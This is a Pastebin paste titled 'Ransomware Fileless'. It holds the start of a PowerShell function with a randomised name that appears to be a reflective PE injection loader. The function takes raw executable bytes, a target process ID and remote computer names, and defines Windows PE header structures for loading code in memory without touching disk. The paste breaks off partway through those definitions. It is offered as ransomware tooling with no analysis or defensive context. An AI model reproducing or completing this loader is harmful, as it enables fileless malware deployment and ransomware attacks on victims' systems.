orenma

Ransomware Fileless

Apr 19th, 2022
191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function Invoke-COVDQSQKASLYKYN
  3. {
  4.  
  5. [CmdletBinding()]
  6. Param(
  7.     [Parameter(Position = 0, Mandatory = $true)]
  8.     [ValidateNotNullOrEmpty()]
  9.     [Byte[]]
  10.     $PEBytes,
  11.  
  12.     [Parameter(Position = 1)]
  13.     [String[]]
  14.     $ComputerName,
  15.  
  16.     [Parameter(Position = 2)]
  17.     [ValidateSet( 'WString', 'String', 'Void' )]
  18.     [String]
  19.     $FuncReturnType = 'Void',
  20.  
  21.     [Parameter(Position = 3)]
  22.     [String]
  23.     $ExeArgs,
  24.  
  25.     [Parameter(Position = 4)]
  26.     [Int32]
  27.     $ProcId,
  28.  
  29.     [Parameter(Position = 5)]
  30.     [String]
  31.     $ProcName,
  32.  
  33.     [Switch]
  34.     $ForceASLR,
  35.  
  36.     [Switch]
  37.     $DoNotZeroMZ
  38. )
  39.  
  40. Set-StrictMode -Version 2
  41.  
  42.  
  43. $RemoteScriptBlock = {
  44.     [CmdletBinding()]
  45.     Param(
  46.         [Parameter(Position = 0, Mandatory = $true)]
  47.         [Byte[]]
  48.         $PEBytes,
  49.  
  50.         [Parameter(Position = 1, Mandatory = $true)]
  51.         [String]
  52.         $FuncReturnType,
  53.  
  54.         [Parameter(Position = 2, Mandatory = $true)]
  55.         [Int32]
  56.         $ProcId,
  57.  
  58.         [Parameter(Position = 3, Mandatory = $true)]
  59.         [String]
  60.         $ProcName,
  61.  
  62.         [Parameter(Position = 4, Mandatory = $true)]
  63.         [Bool]
  64.         $ForceASLR
  65.     )
  66.  
  67.     Function Get-Win32Types
  68.     {
  69.         $Win32Types = New-Object System.Object
  70.  
  71.         $Domain = [AppDomain]::CurrentDomain
  72.         $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  73.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  74.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  75.         $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  76.  
  77.         $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  78.         $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  79.         $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  80.         $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  81.         $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  82.         $MachineType = $TypeBuilder.CreateType()
  83.         $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  84.  
  85.  
  86.         $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  87.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  88.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  89.         $MagicType = $TypeBuilder.CreateType()
  90.         $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  91.  
  92.  
  93.         $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  94.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  95.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  96.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  97.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  98.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  99.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  100.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  101.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  102.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  103.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  104.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  105.         $SubSystemType = $TypeBuilder.CreateType()
  106.         $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  107.  
  108.  
  109.         $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  110.         $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  111.         $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  112.         $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  113.         $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  114.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  115.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  116.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  117.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  118.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  119.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  120.         $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  121.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  122.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  123.         $DllCharacteristicsType = $TypeBuilder.CreateType()
  124.         $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  125.  
  126.  
  127.  
  128.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  129.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  130.         ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  131.         ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  132.         $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  133.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  134.  
  135.  
  136.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  137.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  138.         $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  139.         $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  140.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  141.         $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  142.         $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  143.         $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  144.         $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  145.         $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  146.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  147.  
  148.  
  149.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  150.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  151.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  152.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  153.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  154.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  155.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  156.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  157.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  158.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  159.         ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  160.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  161.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  162.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  163.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  164.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  165.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  166.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  167.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  168.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  169.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  170.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  171.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  172.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  173.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  174.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  175.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  176.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  177.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  178.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  179.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  180.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  181.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  182.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  183.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  184.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  185.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  186.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  187.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  188.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  189.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  190.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  191.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  192.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  193.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  194.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  195.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  196.         $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  197.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  198.  
  199.  
  200.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  201.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  202.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  203.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  204.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  205.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  206.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  207.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  208.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  209.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  210.         ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  211.         ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  212.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  213.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  214.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  215.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  216.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  217.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  218.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  219.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  220.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  221.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  222.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  223.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  224.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  225.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  226.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  227.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  228.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  229.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  230.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  231.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  232.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  233.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  234.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  235.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  236.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  237.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  238.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  239.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  240.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  241.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  242.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  243.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  244.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  245.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  246.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  247.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  248.         $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  249.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  250.  
  251.  
  252.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  253.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  254.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  255.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  256.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  257.         $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  258.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  259.  
  260.  
  261.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  262.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  263.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  264.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  265.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  266.         $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  267.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  268.  
  269.  
  270.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  271.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  272.         $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  273.         $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  274.         $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  275.         $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  276.         $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  277.         $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  278.         $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  279.         $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  280.         $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  281.         $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  282.         $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  283.         $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  284.         $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  285.         $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  286.  
  287.         $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  288.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  289.         $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  290.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  291.         $e_resField.SetCustomAttribute($AttribBuilder)
  292.  
  293.         $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  294.         $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  295.  
  296.         $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  297.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  298.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  299.         $e_res2Field.SetCustomAttribute($AttribBuilder)
  300.  
  301.         $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  302.         $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  303.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  304.  
  305.  
  306.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  307.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  308.  
  309.         $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  310.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  311.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  312.         $nameField.SetCustomAttribute($AttribBuilder)
  313.  
  314.         $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  315.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  316.         $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  317.         $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  318.         $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  319.         $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  320.         $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  321.         $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  322.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  323.         $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  324.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  325.  
  326.  
  327.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  328.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  329.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  330.         $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  331.         $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  332.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  333.  
  334.  
  335.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  336.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  337.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  338.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  339.         $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  340.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  341.         $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  342.         $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  343.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  344.  
  345.  
  346.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  347.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  348.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  349.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  350.         $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  351.         $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  352.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  353.         $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  354.         $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  355.         $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  356.         $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  357.         $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  358.         $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  359.         $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  360.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  361.  
  362.  
  363.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  364.         $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  365.         $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  366.         $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
